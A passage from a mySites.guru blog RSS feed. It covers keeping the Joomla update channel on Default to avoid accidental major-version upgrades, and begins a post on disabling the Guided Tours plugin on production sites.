</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>admin bar</category><category>frontend</category><category>customization</category><enclosure url="https://mysites.guru/_astro/disable-wordpress-admin-bar-frontend.BjNbRfm5.png" length="0" type="image/png"/></item><item><title>How to Prevent Accidental Joomla Version Jumps with Update Channel Management</title><link>https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/</guid><description>One wrong Joomla update channel setting can jump your site from Joomla 4 to 5 or 5 to 6. Here is how mySites.guru detects and prevents this.</description><pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;div class=&quot;not-prose rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 512 512&quot; class=&quot;w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5&quot;&amp;gt;&amp;lt;path d=&quot;M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;p class=&quot;text-neutral-700 dark:text-neutral-300 m-0&quot;&amp;gt;&amp;lt;strong&amp;gt;TL;DR:&amp;lt;/strong&amp;gt; Joomla&apos;s update channel setting controls which versions your site is offered. If it&apos;s set to &quot;Joomla Next&quot; instead of &quot;Default&quot;, a routine update check can offer a major version jump - from Joomla 4 to 5, or from 5 to 6. mySites.guru flags this misconfiguration on every connected site and lets you fix it remotely in one click.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;One wrong setting in the Joomla Update component is all it takes to accidentally upgrade a production Joomla 4 site to Joomla 5, or a Joomla 5 site to Joomla 6. The setting is called the &lt;strong&gt;update channel&lt;/strong&gt; (internally called &lt;code&gt;updatesource&lt;/code&gt;), and it determines which versions Joomla considers available when you hit &quot;Check for Updates&quot; in the admin panel.&lt;/p&gt;
&lt;p&gt;Most Joomla administrators never think about this setting because it ships on &quot;Default&quot; out of the box. But it only takes one change (during a test, by a team member who didn&apos;t know what it did, or after following a tutorial that forgot to mention switching it back) and suddenly your next routine update isn&apos;t a minor patch. It&apos;s a full major version jump.&lt;/p&gt;
&lt;h2&gt;What is a Joomla update channel?&lt;/h2&gt;
&lt;p&gt;The update channel is a configuration option inside the &lt;strong&gt;Joomla Update component&lt;/strong&gt; (Components &amp;gt; Joomla Update &amp;gt; Options in the Joomla admin panel). It tells Joomla which update server to check and, critically, which version series to consider as available updates.&lt;/p&gt;
&lt;p&gt;Joomla&apos;s update system works by fetching an XML file from an update server URL. The update channel setting determines &lt;em&gt;which&lt;/em&gt; XML file gets fetched, and each file points to a different set of available versions.&lt;/p&gt;
&lt;p&gt;The channels you&apos;ll encounter:&lt;/p&gt;
&lt;h3&gt;Default&lt;/h3&gt;
&lt;p&gt;This is what every production site should use. The Default channel only offers updates within your current major version series. If you&apos;re running Joomla 5.2.3, the Default channel will offer 5.2.4, 5.3.0, and so on - but it will never offer Joomla 6.0.0.&lt;/p&gt;
&lt;p&gt;The Default channel is the safe choice because it keeps your site on the version series you intentionally installed and tested against.&lt;/p&gt;
&lt;h3&gt;Joomla Next&lt;/h3&gt;
&lt;p&gt;This is the channel that causes problems. The Joomla Next channel includes the next major version series in the available updates. If you&apos;re on Joomla 5 and Joomla 6 has been released, the Joomla Next channel will show Joomla 6 as an available update.&lt;/p&gt;
&lt;p&gt;The Joomla Next channel exists for a legitimate purpose: when you&apos;ve done your compatibility testing, confirmed your extensions and templates work with the new version, and are ready to intentionally upgrade to the next major version. The problem is that once enabled, it stays enabled. People switch to it, upgrade one site, and then forget to switch it back. Or they switch it on a test site and accidentally leave it on a production site.&lt;/p&gt;
&lt;h3&gt;Testing&lt;/h3&gt;
&lt;p&gt;The Testing channel gives access to pre-release builds: alphas, betas, and release candidates. These are builds published by the Joomla project for community testing before a stable release.&lt;/p&gt;
&lt;p&gt;This channel should only ever be used on dedicated test environments. Pre-release builds can have bugs, incomplete features, and database schema changes that aren&apos;t finalised. Installing a testing build on a production site is asking for trouble, and there&apos;s often no clean upgrade path from a beta to the final stable release.&lt;/p&gt;
&lt;h3&gt;STS and LTS (legacy)&lt;/h3&gt;
&lt;p&gt;Older Joomla versions (particularly the Joomla 3 era) used &lt;strong&gt;Short Term Support (STS)&lt;/strong&gt; and &lt;strong&gt;Long Term Support (LTS)&lt;/strong&gt; channels. These distinguished between feature releases and long-term maintenance releases within the same major version.&lt;/p&gt;
&lt;p&gt;In modern Joomla (versions 4, 5, and 6), the STS and LTS distinction no longer applies in the same way. You may still see these values in some site configurations, particularly on sites that were migrated from Joomla 3 and never had the setting cleaned up. For practical purposes, they behave like the Default channel, but it&apos;s still best practice to explicitly set the channel to Default to avoid any ambiguity.&lt;/p&gt;
&lt;h2&gt;Why are wrong Joomla update channels dangerous?&lt;/h2&gt;
&lt;p&gt;A misconfigured update channel doesn&apos;t break anything immediately. Your site keeps running fine. The danger only shows itself when someone checks for updates and accepts what Joomla offers.&lt;/p&gt;
&lt;h3&gt;The accidental major version jump&lt;/h3&gt;
&lt;p&gt;The scenario plays out regularly across the Joomla community:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A site administrator sets the update channel to &quot;Joomla Next&quot; to upgrade one of their sites from Joomla 4 to Joomla 5&lt;/li&gt;
&lt;li&gt;The upgrade goes fine, the site is now on Joomla 5&lt;/li&gt;
&lt;li&gt;The administrator forgets to switch the channel back to &quot;Default&quot;&lt;/li&gt;
&lt;li&gt;Months later, Joomla 6 is released&lt;/li&gt;
&lt;li&gt;The admin panel shows &quot;An update is available&quot; - looks like a routine update&lt;/li&gt;
&lt;li&gt;The administrator (or a junior team member) clicks Update&lt;/li&gt;
&lt;li&gt;The site is now on Joomla 6, which was never tested, and extensions start breaking&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is not a hypothetical scenario. It happens after every major Joomla release. The Joomla forums fill up with posts from administrators who accidentally jumped to a new major version and now have broken sites. With Joomla 6 released in October 2025, this is happening right now to Joomla 5 sites that still have the Joomla Next channel enabled from when they upgraded from Joomla 4.&lt;/p&gt;
&lt;h3&gt;There is no rollback&lt;/h3&gt;
&lt;p&gt;When you upgrade from Joomla 5 to Joomla 6, the database schema changes. Tables are altered, columns are added or removed, and data is migrated.&lt;/p&gt;
&lt;p&gt;You cannot simply downgrade the files back to Joomla 5 because the database no longer matches the Joomla 5 schema. The only recovery path is restoring a full backup - files and database together - from before the upgrade happened.&lt;/p&gt;
&lt;p&gt;If you don&apos;t have a recent backup, or if your &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup schedule&lt;/a&gt; hasn&apos;t run since the last content changes, you&apos;re looking at data loss on top of the version mess.&lt;/p&gt;
&lt;h3&gt;Extension and template incompatibility&lt;/h3&gt;
&lt;p&gt;Major Joomla version upgrades routinely break third-party extensions and templates. Extension developers need time to update their code for new APIs, deprecated features, and changed behaviour in a new major version.&lt;/p&gt;
&lt;p&gt;When you intentionally plan a major version upgrade, you check each extension&apos;s compatibility first. You review the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-technical-requirements-check/&quot;&gt;Joomla 5 requirements&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 requirements&lt;/a&gt; to make sure your server meets the minimums. You test on a staging site. You have a plan.&lt;/p&gt;
&lt;p&gt;When the upgrade happens accidentally, none of that preparation has been done. Extensions that haven&apos;t been updated for the new version will throw errors, produce white screens, or silently malfunction. Templates may break entirely, leaving your site looking nothing like it should.&lt;/p&gt;
&lt;h3&gt;The problem multiplies across a portfolio&lt;/h3&gt;
&lt;p&gt;For anyone managing multiple Joomla sites, the risk compounds quickly. If you set one site to the Joomla Next channel and then used a configuration template or copied settings across sites, you could have dozens or hundreds of sites with the wrong channel. A &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass upgrade from one dashboard&lt;/a&gt; becomes a mass problem if the update channel is wrong on the sites being upgraded.&lt;/p&gt;
&lt;p&gt;The sites look fine, the update channel is buried in a component options page that nobody routinely checks, and the actual failure only happens when an update is offered and accepted.&lt;/p&gt;
&lt;h2&gt;How to check your update channel in Joomla&lt;/h2&gt;
&lt;p&gt;If you&apos;re managing sites individually, here&apos;s how to verify the update channel on each one:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to the Joomla administrator panel&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Components &amp;gt; Joomla Update&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click the &lt;strong&gt;Options&lt;/strong&gt; button in the toolbar (top right)&lt;/li&gt;
&lt;li&gt;Look at the &lt;strong&gt;Update Channel&lt;/strong&gt; dropdown&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If it says &quot;Default&quot;, you&apos;re fine. If it says anything else - particularly &quot;Joomla Next&quot; - change it back to Default and save.&lt;/p&gt;
&lt;p&gt;The problem with doing this manually is obvious: you have to log into every single site, navigate to the same page, check the same dropdown, and remember to do this periodically. For anyone with more than a handful of sites, this doesn&apos;t scale.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru monitor Joomla update channels?&lt;/h2&gt;
&lt;p&gt;mySites.guru tracks the update channel setting for every connected Joomla site automatically.&lt;/p&gt;
&lt;h3&gt;Snapshot monitoring&lt;/h3&gt;
&lt;p&gt;Every time mySites.guru runs a &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot of your sites&lt;/a&gt;, it reads the &lt;code&gt;updatesource&lt;/code&gt; parameter from the Joomla Update component configuration. This value is stored and displayed in the dashboard alongside your site&apos;s Joomla version, PHP version, and database details.&lt;/p&gt;
&lt;p&gt;On the Joomla 5 and &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 compatibility&lt;/a&gt; checker pages, the update channel column shows a &lt;strong&gt;green badge with a checkmark&lt;/strong&gt; when the channel is set to Default, and a &lt;strong&gt;red badge with an X&lt;/strong&gt; when it&apos;s set to anything else. You can see at a glance which of your sites have a misconfigured update channel without logging into any of them.&lt;/p&gt;
&lt;h3&gt;Best practice audit&lt;/h3&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice audit&lt;/a&gt; includes a dedicated check for the update channel. The audit tool - titled &quot;Use Default Update Channel on Live Sites to prevent accidental series jump&quot; - evaluates every connected Joomla site and flags any site where the channel is not set to Default.&lt;/p&gt;
&lt;p&gt;This runs automatically with each snapshot, so even if someone changes the update channel on a site between your manual checks, mySites.guru will catch it on the next scan. The check also tracks trend data: if a site&apos;s channel changes from Default to something else (or vice versa), the dashboard highlights the change so you can investigate.&lt;/p&gt;
&lt;h3&gt;Remote fix&lt;/h3&gt;
&lt;p&gt;When mySites.guru detects a site with the wrong update channel, you don&apos;t have to log into that site to fix it. The dashboard provides a toggle that remotely sets the update channel back to Default. For a single site, it&apos;s one click. For multiple sites, you can view all affected sites filtered by this specific issue and work through them.&lt;/p&gt;
&lt;p&gt;This means you can fix a misconfigured channel in seconds from your dashboard instead of discovering it after the damage is done.&lt;/p&gt;
&lt;h3&gt;Forced Default during upgrades&lt;/h3&gt;
&lt;p&gt;When you use mySites.guru to &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;upgrade Joomla core&lt;/a&gt;, the upgrade process &lt;strong&gt;forces the update source to Default&lt;/strong&gt; before applying the update, regardless of what the site&apos;s local setting is. Even if a site is set to Joomla Next, mySites.guru overrides this to prevent the upgrade from jumping to a different major version series.&lt;/p&gt;
&lt;p&gt;This means that when you do a &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;bulk upgrade across hundreds of sites&lt;/a&gt;, you know that every site will get the latest minor/patch release for its current major version - not an unexpected jump to a new series. This is a deliberate safety mechanism built into the upgrade connector for Joomla 3, 4, 5, and 6.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;&amp;lt;strong&amp;gt;Key point:&amp;lt;/strong&amp;gt; Even if a site has the wrong update channel, mySites.guru forces the channel to Default before performing any core upgrade. This prevents accidental series jumps regardless of the local configuration. You can still intentionally upgrade major versions through the dedicated migration tools.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;When should you use the Joomla Next channel?&lt;/h2&gt;
&lt;p&gt;The Joomla Next channel exists for good reasons, and there are legitimate times to use it:&lt;/p&gt;
&lt;p&gt;For intentional major version upgrades: when you&apos;ve verified your &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;server meets the requirements&lt;/a&gt;, confirmed your extensions are compatible, tested on a staging site, and taken a full backup, switching to the Joomla Next channel is the right way to perform the upgrade.&lt;/p&gt;
&lt;p&gt;For dedicated migration projects: if you&apos;re working through a batch of &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;Joomla 4 to Joomla 5 migrations&lt;/a&gt;, or Joomla 5 to Joomla 6, you&apos;ll use the Joomla Next channel on each site during the upgrade window.&lt;/p&gt;
&lt;p&gt;Either way: &lt;strong&gt;switch back to Default the moment the upgrade is done.&lt;/strong&gt; Don&apos;t leave it for later. Don&apos;t assume you&apos;ll remember. Set it back to Default as the final step of every major version upgrade.&lt;/p&gt;
&lt;h2&gt;How does the Joomla update channel affect end-of-life versions?&lt;/h2&gt;
&lt;p&gt;Update channels become even more relevant when a Joomla version reaches &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;end of life&lt;/a&gt;. When Joomla 4 reached its end-of-life date, sites still running Joomla 4 stopped receiving security updates through the Default channel. Some administrators then switched to the Joomla Next channel thinking it would give them &quot;the latest updates&quot; without realising it would offer Joomla 5 as the update.&lt;/p&gt;
&lt;p&gt;This creates a dangerous situation: an administrator trying to get security patches for an EOL version inadvertently triggers a major version upgrade. The site jumps to Joomla 5, extensions break, and the administrator is worse off than before.&lt;/p&gt;
&lt;p&gt;The correct approach for &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;end-of-life Joomla versions&lt;/a&gt; is to plan a proper migration, not to change the update channel hoping for patches. mySites.guru clearly flags sites running end-of-life versions and tracks the update channel separately, so you always know which sites need migration attention and which are safely configured.&lt;/p&gt;
&lt;h2&gt;What are the common mistakes with Joomla update channels?&lt;/h2&gt;
&lt;h3&gt;Copying configuration between sites&lt;/h3&gt;
&lt;p&gt;If you use a staging or template site to spin up new Joomla installations, check the update channel on that template. Whatever is set on the template gets inherited by every new site. If your template site was last used for a major version upgrade test and still has the Joomla Next channel enabled, every site you spin up from it will have the same misconfiguration.&lt;/p&gt;
&lt;h3&gt;Tutorials that don&apos;t mention switching back&lt;/h3&gt;
&lt;p&gt;Plenty of Joomla upgrade tutorials explain how to switch to the Joomla Next channel but don&apos;t mention switching back afterward. Some end at &quot;congratulations, your site is now on Joomla X&quot; without mentioning the update channel at all. If you followed a tutorial to upgrade one of your sites, go back and check the channel setting now.&lt;/p&gt;
&lt;h3&gt;Assuming &quot;it only affects the next update&quot;&lt;/h3&gt;
&lt;p&gt;Some administrators know their channel is set to Joomla Next but think it&apos;s fine because they&apos;ll &quot;just not click Update&quot; next time a major version appears. This is fragile. It relies on whoever checks for updates knowing the difference between a patch and a major version jump, and reading the version number carefully every single time. On a Monday morning with fifty sites to update, that&apos;s a bad bet.&lt;/p&gt;
&lt;h3&gt;Not auditing after team changes&lt;/h3&gt;
&lt;p&gt;When team members join or leave, their access to Joomla admin panels may change, but their past configuration changes remain. A developer who changed the update channel while testing something may have left the organisation months ago, and the setting sits there waiting. Automated monitoring catches this kind of configuration drift that manual reviews miss.&lt;/p&gt;
&lt;h2&gt;A practical Joomla update channel checklist&lt;/h2&gt;
&lt;p&gt;Whether you manage one Joomla site or a thousand, the same steps apply:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Audit all sites now.&lt;/strong&gt; Check the update channel on every Joomla site you manage. With mySites.guru, this is visible at a glance on the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-technical-requirements-check/&quot;&gt;Joomla 5 compatibility&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 compatibility&lt;/a&gt; pages. Without it, you&apos;ll need to log into each site individually.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Set every production site to Default.&lt;/strong&gt; No exceptions. If a site is live and serving users, its update channel should be Default.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Only switch channels temporarily.&lt;/strong&gt; When you need the Joomla Next channel for a planned migration, enable it, perform the upgrade, and disable it immediately. Treat it like scaffolding: put it up, use it, take it down.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Monitor continuously.&lt;/strong&gt; A one-time audit isn&apos;t enough. Settings change, team members make adjustments, and tutorials give bad advice. Use automated &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot monitoring&lt;/a&gt; to catch changes as they happen.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Keep backups current.&lt;/strong&gt; Even with the right channel, things can go wrong. Make sure your &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup schedules&lt;/a&gt; are running and that you&apos;ve tested a restore at least once.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Check automated core updates too.&lt;/strong&gt; Joomla 5.4+ and 6.0 introduced &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated core upgrades&lt;/a&gt; that can apply patches without admin interaction. Even with the right update channel, a site with automated updates enabled can still update itself at an inconvenient time. Audit both settings together.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Document your migration process.&lt;/strong&gt; Write down the steps for a major version upgrade, including the step where you switch the channel back to Default. Make it part of the procedure, not an afterthought.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Configuration management at scale&lt;/h2&gt;
&lt;p&gt;The update channel is one setting on one component in Joomla. But it&apos;s a good example of how a small misconfiguration can cause real damage when you&apos;re managing dozens or hundreds of sites.&lt;/p&gt;
&lt;p&gt;mySites.guru applies the same approach here as it does with &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;security headers&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/joomla-5-technical-requirements-check/&quot;&gt;PHP version tracking&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;end-of-life version monitoring&lt;/a&gt;: monitor automatically, flag deviations, and provide remote fixes.&lt;/p&gt;
&lt;p&gt;If you&apos;re managing multiple Joomla sites and haven&apos;t checked your update channels recently, start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; to see what mySites.guru finds across your connected sites.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 512 512&quot; class=&quot;w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5&quot;&amp;gt;&amp;lt;path d=&quot;M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;p class=&quot;text-neutral-700 dark:text-neutral-300 m-0&quot;&amp;gt;&amp;lt;strong&amp;gt;Further reading:&amp;lt;/strong&amp;gt; &amp;lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot; class=&quot;underline&quot;&amp;gt;Joomla technical requirements&amp;lt;/a&amp;gt; - &amp;lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/&quot; class=&quot;underline&quot;&amp;gt;Joomla getting started guide&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Read more about safe upgrade strategies in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;CMS updates guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>updates</category><category>joomla</category><category>update channel</category><category>version management</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/how-to-prevent-accidental-joomla-version-jumps.CZpXFQ8R.png" length="0" type="image/png"/></item><item><title>How to Find and Disable the Guided Tours Plugin on Your Joomla Sites</title><link>https://mysites.guru/blog/how-to-find-disable-guided-tours-plugin-joomla/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-find-disable-guided-tours-plugin-joomla/</guid><description>Joomla Guided Tours wastes resources on live sites. Why you should disable it in production and how mySites.guru handles it automatically.</description><pubDate>Sun, 08 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 4.3.0 introduced the Guided Tours feature, a system plugin that walks administrators through common tasks in the admin panel with interactive step-by-step overlays. It highlights buttons and fields, shows explanatory tooltips, and guides you through workflows like creating an article or configuring user settings.&lt;/p&gt;
&lt;p&gt;It&apos;s a thoughtful addition for people learning Joomla. But on production sites managed by experienced administrators, it&apos;s dead weight.&lt;/p&gt;
&lt;p&gt;I&apos;ll cover what the plugin actually does under the hood, why it belongs disabled on live sites, how to disable it manually, and how &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; flags it automatically across all your connected Joomla sites.&lt;/p&gt;
&lt;h2&gt;What Does the Joomla Guided Tours Plugin Do?&lt;/h2&gt;
&lt;p&gt;The Guided Tours system (&lt;code&gt;plg_system_guidedtours&lt;/code&gt;) is a system plugin that loads on every page of the Joomla admin panel. It consists of several parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The system plugin&lt;/strong&gt; - hooks into every admin page load to inject the tour JavaScript and CSS&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The tours component&lt;/strong&gt; (&lt;code&gt;com_guidedtours&lt;/code&gt;) - stores and manages tour definitions in the database&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tour step definitions&lt;/strong&gt; - JSON-based step sequences that target specific DOM elements on admin pages&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The frontend overlay&lt;/strong&gt; - the actual interactive UI that highlights elements and shows instructional text&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When the plugin is enabled, Joomla loads the tour framework on every single admin page request, regardless of whether anyone is actually running a tour. The JavaScript waits in the background, ready to activate when a user starts a tour from the admin menu.&lt;/p&gt;
&lt;p&gt;Joomla ships with several built-in tours covering tasks like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;How to create an article&lt;/li&gt;
&lt;li&gt;How to create a menu and menu items&lt;/li&gt;
&lt;li&gt;How to create a category&lt;/li&gt;
&lt;li&gt;How to configure global settings&lt;/li&gt;
&lt;li&gt;How to manage users and user groups&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Extension developers can also create their own tours to introduce users to their extension&apos;s features. The system is extensible by design.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;When Does Joomla Guided Tours Make Sense?&lt;/h2&gt;
&lt;p&gt;There are legitimate scenarios where leaving the Guided Tours plugin enabled is the right call:&lt;/p&gt;
&lt;h3&gt;Training new team members&lt;/h3&gt;
&lt;p&gt;If you&apos;re onboarding new administrators who haven&apos;t used Joomla before, the guided tours provide a structured introduction without needing someone to sit beside them. They can work through the tours at their own pace and get familiar with where things are.&lt;/p&gt;
&lt;h3&gt;Development and staging environments&lt;/h3&gt;
&lt;p&gt;On development or staging sites where you&apos;re building out the admin experience, you might want tours enabled to test them or to understand the admin workflows from a new user&apos;s perspective.&lt;/p&gt;
&lt;h3&gt;Custom client onboarding&lt;/h3&gt;
&lt;p&gt;If you build Joomla sites for clients and hand over the admin panel, some agencies create custom guided tours that walk clients through the specific workflows they need - publishing blog posts, managing products, or updating contact information. In this case, the tours are part of the deliverable.&lt;/p&gt;
&lt;h3&gt;Extension developers testing tours&lt;/h3&gt;
&lt;p&gt;If you&apos;re developing a Joomla extension and building guided tours for it, you obviously need the plugin enabled during development and testing.&lt;/p&gt;
&lt;h2&gt;Why Should You Disable It on Production Sites?&lt;/h2&gt;
&lt;p&gt;For the vast majority of production Joomla sites, the Guided Tours plugin should be disabled.&lt;/p&gt;
&lt;h3&gt;Unnecessary resource loading&lt;/h3&gt;
&lt;p&gt;Every time an administrator loads any page in the Joomla admin panel, the Guided Tours plugin:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Executes its PHP system plugin code during the &lt;code&gt;onAfterDispatch&lt;/code&gt; event&lt;/li&gt;
&lt;li&gt;Injects JavaScript files for the tour engine&lt;/li&gt;
&lt;li&gt;Injects CSS for the tour overlay styling&lt;/li&gt;
&lt;li&gt;Loads tour definitions from the database&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This happens on &lt;strong&gt;every admin page load&lt;/strong&gt;, not just when someone clicks &quot;Start Tour.&quot; The JavaScript sits idle in the browser, consuming memory and adding to the page&apos;s script evaluation time.&lt;/p&gt;
&lt;p&gt;On a single page load, the overhead is small. But admin sessions involve dozens or hundreds of page loads. Across a day of admin work, across multiple administrators, it adds up to wasted bandwidth and processing time for functionality nobody is using.&lt;/p&gt;
&lt;h3&gt;Admin interface clutter&lt;/h3&gt;
&lt;p&gt;With the plugin enabled, a &quot;Guided Tours&quot; menu item appears in the admin sidebar under Components. There&apos;s also a &quot;Start Tour&quot; button context in some admin views. For experienced administrators, these are visual noise - one more thing to scroll past, one more menu item cluttering the sidebar that serves no purpose.&lt;/p&gt;
&lt;h3&gt;Increased attack surface&lt;/h3&gt;
&lt;p&gt;The Guided Tours plugin doesn&apos;t have a known vulnerability today. But minimising your attack surface matters regardless.&lt;/p&gt;
&lt;p&gt;Every enabled plugin is code that runs on every request. If a security flaw turns up in any of them, every site with that plugin enabled is exposed. The Joomla security team has a good track record, but reducing active plugins to only what you need is basic hardening.&lt;/p&gt;
&lt;p&gt;This is the same logic behind disabling other unused Joomla features. If you&apos;re not using it, turn it off. If a &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;vulnerability is found in a component you&apos;re running&lt;/a&gt;, you want to already have the smallest possible footprint.&lt;/p&gt;
&lt;h3&gt;It&apos;s a solved problem for experienced admins&lt;/h3&gt;
&lt;p&gt;Once you know how to create an article in Joomla, you don&apos;t need an interactive overlay to show you where the &quot;New&quot; button is. The guided tours are designed for first-time users. By the time you&apos;re deploying sites to production, you&apos;re past that stage.&lt;/p&gt;
&lt;p&gt;The same applies to your team. If they need guided tours to do their daily work, they need training - not a plugin running on a production server.&lt;/p&gt;
&lt;h2&gt;How Do You Disable Joomla Guided Tours Manually?&lt;/h2&gt;
&lt;p&gt;Disabling the plugin through the Joomla admin panel is straightforward:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to your Joomla admin panel&lt;/li&gt;
&lt;li&gt;Navigate to &lt;strong&gt;System&lt;/strong&gt; in the sidebar menu&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Plugins&lt;/strong&gt; under the &lt;strong&gt;Manage&lt;/strong&gt; section&lt;/li&gt;
&lt;li&gt;Search for &quot;Guided Tours&quot; in the search box&lt;/li&gt;
&lt;li&gt;Click on &lt;strong&gt;System - Guided Tours&lt;/strong&gt; to open the plugin&lt;/li&gt;
&lt;li&gt;Set the &lt;strong&gt;Status&lt;/strong&gt; to &lt;strong&gt;Disabled&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Save &amp;amp; Close&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
